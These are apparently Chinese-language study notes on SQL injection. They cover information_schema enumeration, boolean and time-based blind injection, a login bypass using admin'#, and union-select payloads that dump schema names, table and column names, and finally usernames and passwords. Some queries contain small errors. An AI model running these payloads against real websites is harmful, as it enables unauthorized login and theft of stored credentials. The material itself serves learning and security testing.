在数据库中存在一个系统库:information_schema
在它里面有个存着所有库名的表:schemata
字段 schema_name
:库名
在它里面有个存着所有表名的表:tables
字段 table_schema
:表属于的库
字段table_name
表名
在它里面有个存着所有字段名的表:columns
字段 table_schema
:表属于的库
字段 table_name
表名
字段 column_name
字段名
相关语法
select * from
表:从表里查询所有内容
where
:有条件的从表里选取数据
and
或or
:选取数据时存在多个条件
order by
:根据指定的结果集/指定的列进行排序
limit 0,1
:从第一行起显示一条记录
union select
:将多个表拼在一起 select * from union select * from info
最后输出两张表
获取当前数据库的字段
select table_name from information_schema.tables where table_schema=database()
盲注:
1.布尔盲注 根据注入信息返回ture
或false
length()
函数 返回字符串长度
?id=1 and length(database()>1)
substr()
截取字符串,从第一位截取一个
?id=1 and substr(database(),1,1)='k'
ord()/ascii()
返回字符的ascii
码
?id=1 and ord(substr(database(),1,1))=107
2.时间盲注 只会返回true
通过加入特定的时间函数,通过查看web页面返回的时间差来判断注入的语句是否正确
sleep()
函数 将程序挂起一段时间n为n秒
if(expr1,expr2,expr3)
判断语句,如果第一个语句正确就执行第二个语句,如果错误执行第三个语句
?id=1'and if(length(database())=8,0,sleep(5))-- +
Eg.:
//登录部分php代码
select username,password,nickname from username='$username' and password='$password'
于是可以构造$username='admin'#' and password='{$Any}
实现登录即传入username
参数为admin'#
其中引号实现对之前的引号的闭合作用,而#
则可以注释掉掉后面的部门,即不必进行password
的判断 因此传入任意password实现登录
而要实现对password
的爆破,则可以构造username为1' union select 1,2,(${})#
,前面的1‘
即实现登录而后面则是查找操作,注意选择一个数据库中不存在的username
,比如1
已存在 则采用65537’
union
后面为要查找的内容 观察php代码我们发现要传入三个字段因此传入1,2
起占位符的作用,而后面则为要查找的内容
\\查库名
\\仅查找一项
1' union select 1, 2, (select schema_name from information_schema.schemata limit 1)#
\\采用group_concat实现多项查找
1' union select 1, 2, (select group_concat('\'',schema_name,'\'') from information_schema.schemata limit 1)#
\\查表名
1' union select 1, 2, (select group_concat('\'', table_name, '\'') from information_schema.tables where table_schema = 'user_center')#
\\查字段名
1' union select 1, 2, (select group_concat('\'', column_name, '\'') from information_schema.columns where table_schema = 'user_center' and table_name = 'user')#
\\查username与password
1' union select 1, 2, (select group_concat('\'', username, '\'', ':', '\'', password, '\'') from user)#